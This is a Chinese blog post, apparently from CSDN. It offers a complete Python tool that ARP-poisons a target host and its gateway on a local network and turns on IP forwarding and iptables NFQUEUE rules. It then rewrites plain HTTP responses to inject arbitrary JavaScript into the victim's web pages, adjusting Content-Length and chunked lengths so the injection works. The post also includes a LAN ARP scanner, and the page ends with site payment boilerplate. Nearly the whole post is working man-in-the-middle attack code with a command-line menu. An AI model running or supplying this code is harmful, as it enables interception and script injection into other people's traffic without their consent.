python scapy与netfilterqueue库对http协议插入任意的javaScript

目前只能对头协议中单单只有Content-Length与单单有Content-Length和Transfer-Encoding: chunked进行,其它的还有gzip压缩过的并不能执行任意JavaScript代码

代码内容是先进行arp欺骗局域网主机拦截到其流量,再对其中的http协议的流量专门分析拦击,然后进行修改或重发,达到执行任意JavaScript代码的效果

下面代码使用于linux系统,其先进行arp欺骗,再开启两个进程一个维持arp欺骗,一个监听流量,可使用python3.6 arp.py -h 查看帮助

下面的netfilterqueue需要在python3.6环境下进行安装,配置较麻烦可查看
https://blog.csdn.net/weixin_46765649/article/details/122341425


import re
import sys
import time
from multiprocessing import Process
import netfilterqueue
import platform
import os
from scapy.all import (ARP, Ether, IP, TCP, Raw, srp1, send)


class arpSpoof:
    def __init__(self, gateway, target):
        self.gateway = gateway
        self.target = target

    def poisoning(self):
        # 构建欺骗目标的包
        toTarget = ARP()
        toTarget.getlayer(ARP).op = 2
        toTarget.getlayer(ARP).psrc = self.gateway['ip']  # 把自己的ip写成网关的进行伪装
        toTarget.getlayer(ARP).pdst = self.target['ip']  # 目标的ip地址
        toTarget.getlayer(ARP).hwdst = str(self.target['mac'])  # 目标的mac地址
        # 构建欺骗网关的包()
        toGateway = ARP()
        toGateway.getlayer(ARP).op = 2
        toGateway.getlayer(ARP).psrc = self.target['ip']  # 把自己的ip写成目标的进行伪装
        toGateway.getlayer(ARP).pdst = self.gateway['ip']  # 网关的ip地址
        toGateway.getlayer(ARP).hwdst = str(self.gateway['mac'])  # 目标的mac地址
        while True:
            try:
                send(toTarget, verbose=0)
                send(toGateway, verbose=0)
                time.sleep(0.3)
                # print("正在向网关和目标发送...")
            except KeyboardInterrupt:
                self.restore()
                break
        sys.exit(1)

    def run(self):
        try:
            toTarget = Process(target=self.poisoning)
            toTarget.start()
            toTarget.join()
        except KeyboardInterrupt:
            pass

    def restore(self):
        print("\n开始恢复目标的arp表")
        # # 恢复目标的包
        toTarget = ARP()
        toTarget.getlayer(ARP).op = 2
        toTarget.getlayer(ARP).psrc = self.gateway['ip']
        toTarget.getlayer(ARP).hwsrc = self.gateway['mac']
        toTarget.getlayer(ARP).pdst = self.target['ip']
        toTarget.getlayer(ARP).hwdst = self.target['mac']
        # 恢复网关的包()
        toGateway = ARP()
        toGateway.getlayer(ARP).op = 2
        toGateway.getlayer(ARP).psrc = self.target['ip']
        toGateway.getlayer(ARP).hwsrc = self.target['mac']
        toGateway.getlayer(ARP).pdst = self.gateway['ip']
        toGateway.getlayer(ARP).hwdst = self.gateway['mac']
        send(toTarget, count=5)
        send(toGateway, count=5)


class httpSpoof(arpSpoof):
    def __init__(self, gateway, target):
        super().__init__(gateway, target)
        self.html_list = {}  # 存放tcp中含text/html的某些信息;字典,存放属于text/html类型的ack的数值与其是否为gzip的标志位和是否为chunked的标志位({ack:{gizp:True,chunked:False}})
        self.other_list = []
        self.script = '<script>alert("hacker come")</script>'  # 自定义执行的代码
        self.chunked_list_byte = []  # 存放chunked编码拦截的数据包
        self.chunked_list_length = []  # 存放chunked编码拦截的长度

    # 更改tcp数据后,进行数据修正
    def tcpCorrect(self, scapy_pkt, new_load):
        scapy_pkt[Raw].load = new_load
        del scapy_pkt[IP].len
        del scapy_pkt[IP].chksum
        del scapy_pkt[TCP].chksum
        return scapy_pkt

    def process(self, pkt):
        scapy_pkt = IP(pkt.get_payload())  # scapy_pkt是scapy能处理的包
        # 当包为TCP包且携带Raw数据且发送原端口为80时才进行处理,否则直接通过
        if scapy_pkt.haslayer(Raw):
            load = scapy_pkt[Raw].load  # 包里面的具体内容即网页代码
            ack = scapy_pkt[TCP].ack  # ack编号(同一个tcp流ack编号相同)
            # 处理携带http头的包(改报文长度或处理gzip压缩过的包或处理chunked编码包)
            if ack not in self.other_list and b"Content-Type" in load:
                if b'Content-Type: text/html' in load:
                    gzip_flag = False
                    chunked_flag = False
                    # 处理gzip压缩过的包
                    if str(load).find("Content-Encoding: gzip") != -1 and str(load).find("Transfer-Encoding: chunked") == -1:
                        img_load = load[load.find(b'\x0d\x0a\x0d\x0a') + 4:]
                        gzip_flag = True
                        print(img_load)
                        pkt.accept()
                    # 处理chunked编码包
                    elif str(load).find("Transfer-Encoding: chunked") != -1:
                        chunked_flag = True
                        rule = '\r\\n([a-f0-9]+?)\r\n'.encode('utf-8')
                        bytes_length_list = re.findall(rule, load)
                        for i in bytes_length_list:
                            self.chunked_list_length.append(i)
                        self.chunked_list_byte.append(scapy_pkt)
                        # 回复服务器ack以便服务器能继续发送
                        tt = IP(dst=scapy_pkt[IP].src, src=scapy_pkt[IP].dst) / \
                             TCP(dport=scapy_pkt[TCP].sport, sport=scapy_pkt[TCP].dport,
                                 seq=scapy_pkt[TCP].ack, ack=scapy_pkt[TCP].seq + 1, flags='A')
                        pkt.drop()
                        send(tt, verbose=0)
                    # 主要是改报文长度
                    else:
                        load = load.decode('utf-8')
                        print(load)
                        res = re.search('Content-Length: (.*)', load)
                        if res:
                            print(res)
                            length = int(res.groups()[0])
                            new_length = length + len(self.script)
                            new_load = load.replace(str(length), str(new_length))
                            scapy_pkt = self.tcpCorrect(scapy_pkt, new_load)
                            pkt.set_payload(bytes(scapy_pkt))
                            pkt.accept()
                    # 做ack标记方便下面判断(html包)
                    if ack not in list(self.html_list.keys()):
                        self.html_list[ack] = {"gzip": gzip_flag, "chunked": chunked_flag}
                else:
                    self.other_list.append(ack)
            # 处理除了http头包以外的其他包
            elif ack in list(self.html_list.keys()):

                # 判断是不是gzip,gzip不能被uft-8解码,还要判断是不是chunked编码格式的
                # 是zip
                if self.html_list[ack]['gzip']:
                    print(load)
                    pkt.accept()
                elif self.html_list[ack]['chunked']:
                    # 匹配chunked编码里面的长度并将其加入到列表
                    rule = '\r\\n([a-f0-9]+?)\r\n'.encode('utf-8')
                    bytes_length_list = re.findall(rule, load)
                    for i in bytes_length_list:
                        if self.chunked_list_length.count(b'0') < 2:
                            self.chunked_list_length.append(i)

                    if self.chunked_list_length.count(b'0') < 2:
                        self.chunked_list_byte.append(scapy_pkt)  # 把数据包添加到列表下面会集中发送

                    # 该条件成立时,意味着接收到完整的包流
                    if len(self.chunked_list_length) > 1 and self.chunked_list_length[-1] == b'0':
                        for index, data in enumerate(self.chunked_list_byte):
                            rule = f'\r\n{self.chunked_list_length[-2].decode("utf-8")}\r\n'.encode('utf-8')
                            length = re.search(rule, data.load)
                            if length:
                                # 改chunked最后一个长度
                                new_length = hex(int(self.chunked_list_length[-2], base=16) + len(self.script))[2:]
                                print(new_length)
                                load = self.chunked_list_byte[index].load
                                new_load = load.replace(
                                    f"\r\n{self.chunked_list_length[-2].decode('utf-8')}\r\n".encode('utf-8'),
                                    f"\r\n{new_length}\r\n".encode('utf-8'))
                                print(new_load)
                                self.chunked_list_byte[index] = self.tcpCorrect(self.chunked_list_byte[index], new_load)
                                # 改内容
                                load = self.chunked_list_byte[-1].load
                                new_load = load.replace("</html>".encode('utf-8'),
                                                        f"{self.script}</html>".encode('utf-8'))
                                print(new_load)
                                self.chunked_list_byte[-1] = self.tcpCorrect(self.chunked_list_byte[-1], new_load)
                                print("\n111\n")
                                print(self.chunked_list_byte[-1].load)
                        for i in self.chunked_list_byte:
                            send(i, verbose=0)
                        self.chunked_list_length.clear()
                        self.chunked_list_byte.clear()
                    # 回复服务器ack以便服务器能继续发送
                    else:
                        tt = IP(dst=scapy_pkt[IP].src, src=scapy_pkt[IP].dst) / \
                             TCP(dport=scapy_pkt[TCP].sport, sport=scapy_pkt[TCP].dport,
                                 seq=scapy_pkt[TCP].ack, ack=scapy_pkt[TCP].seq + 1, flags='A')
                        pkt.drop()
                        send(tt, verbose=0)
                # 不是gzip且有</html>内容
                elif str(load).find("</html>") != -1:
                    print(self.html_list)
                    del self.html_list[ack]
                    load = load.decode('utf-8')
                    new_load = load.replace("</html>", self.script + "</html>")
                    scapy_pkt = self.tcpCorrect(scapy_pkt, new_load)
                    pkt.set_payload(bytes(scapy_pkt))
                    pkt.accept()
                # 其它没有</html>内容的包通过
                else:
                    pkt.accept()
            # 除了text/html包之外的所有数据包
            else:
                pkt.accept()
        # 非TCP包且携带Raw数据且发送原端口为80的包
        else:
            pkt.accept()

    def hackerSpoof(self):
        try:
            queue = netfilterqueue.NetfilterQueue()
            queue.bind(0, self.process)
            queue.run()
        except OSError:
            print("可能上一个进程没有彻底关闭,请使用ps -ef | grep python查看然后kill对应的进程(kill 进程号)")

    def run(self):
        if platform.system() == "Linux":
            flag = os.system("cat /proc/sys/net/ipv4/ip_forward")
            if not flag:
                os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
            os.system("iptables -t filter -F FORWARD")
            os.system("iptables -I FORWARD -p tcp --sport 80 -j NFQUEUE --queue-num 0")
            os.system("iptables -A FORWARD -j ACCEPT")
            try:
                print("hacker欺骗开始...")
                toArpSpoof = Process(target=self.poisoning)
                toArpSpoof.start()
                tohackerSpoof = Process(target=self.hackerSpoof)
                tohackerSpoof.start()
                toArpSpoof.join()
                tohackerSpoof.join()
            except KeyboardInterrupt:
                pass
        else:
            print("请通过Linux来运行该命令")


def searchOnlyIPMac(target_ip):
    packet = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=target_ip)
    # rety = 重复次数; timeout = 每次发包超时时间; verbose = 是否打印到控制台
    result = srp1(packet, retry=3, timeout=0.5, verbose=0)
    if result:
        hwsrc = result.getlayer(ARP).hwsrc
        return hwsrc
    else:
        return False


def searchIPMac():
    ip_mac = {}
    end = 255
    print("本探测功能适用于192.168.1.0/24,探测受网络通透性影响,建议重复进行几次,一次时间约3分钟,长按Ctrl-C强制停止")
    for i in range(1, end):
        try:
            # op1为ARP请求,2为ARP响应;dst=ff:ff:ff:ff:ff:ff表示广播,局域网下用户都能接受到
            packet = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=f'192.168.1.{i}')
            # rety = 重复次数; timeout = 每次发包超时时间; verbose = 是否打印到控制台
            result = srp1(packet, retry=2, timeout=0.3, verbose=0)
            if result:
                hwsrc = result.getlayer(ARP).hwsrc
                psrc = result.getlayer(ARP).psrc
                ip_mac[psrc] = hwsrc
            # 不同进度
            if i == end // 4:
                print('25%')
            elif i == end // 2:
                print('50%')
            elif i == end // 1.3:
                print('75%')
        except KeyboardInterrupt:
            print("\n\n")
            print(f"当前的结果{ip_mac}")
            print("\n\n")
            sys.exit()

    print(ip_mac)


if __name__ == "__main__":
    try:
        if sys.argv[1] == "-s":
            if len(sys.argv) == 2:
                searchIPMac()
            else:
                mac = searchOnlyIPMac(sys.argv[2])
                if mac:
                    print(mac)
                else:
                    print("不存在该地址或网络拥挤请重试")

        elif sys.argv[1] == "-h":
            print("基本命令\n"
                  "-s\t\t不加参数为获取局域网段192.168.1.0/24下所有的mac与ip地址-searchIPMac\n  \t\t[-s ip地址]表示获取该ip的mac地址\n"
                  "-a\t\t发送arp欺骗;有两个参数第一个为网关ip第二个为目标ip\n")
        elif sys.argv[1] == "-a":
            macGateway = searchOnlyIPMac(sys.argv[2])
            macTarget = searchOnlyIPMac(sys.argv[3])
            if not macTarget or not macGateway:
                print("不存在该地址或网络拥挤请重试")
            else:
                arp_spoof = arpSpoof({'ip': sys.argv[2], 'mac': macGateway}, {'ip': sys.argv[3], 'mac': macTarget})
                arp_spoof.run()
        elif sys.argv[1] == "-w":
            macGateway = searchOnlyIPMac(sys.argv[2])
            macTarget = searchOnlyIPMac(sys.argv[3])
            if not macTarget or not macGateway:
                print("不存在该地址或网络拥挤请重试")
            else:
                http_spoof = httpSpoof({'ip': sys.argv[2], 'mac': macGateway}, {'ip': sys.argv[3], 'mac': macTarget})
                http_spoof.run()
        else:
            print("error,请输入-h获得帮助")
    except IndexError:
        print("error,请输入-h获得帮助")

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值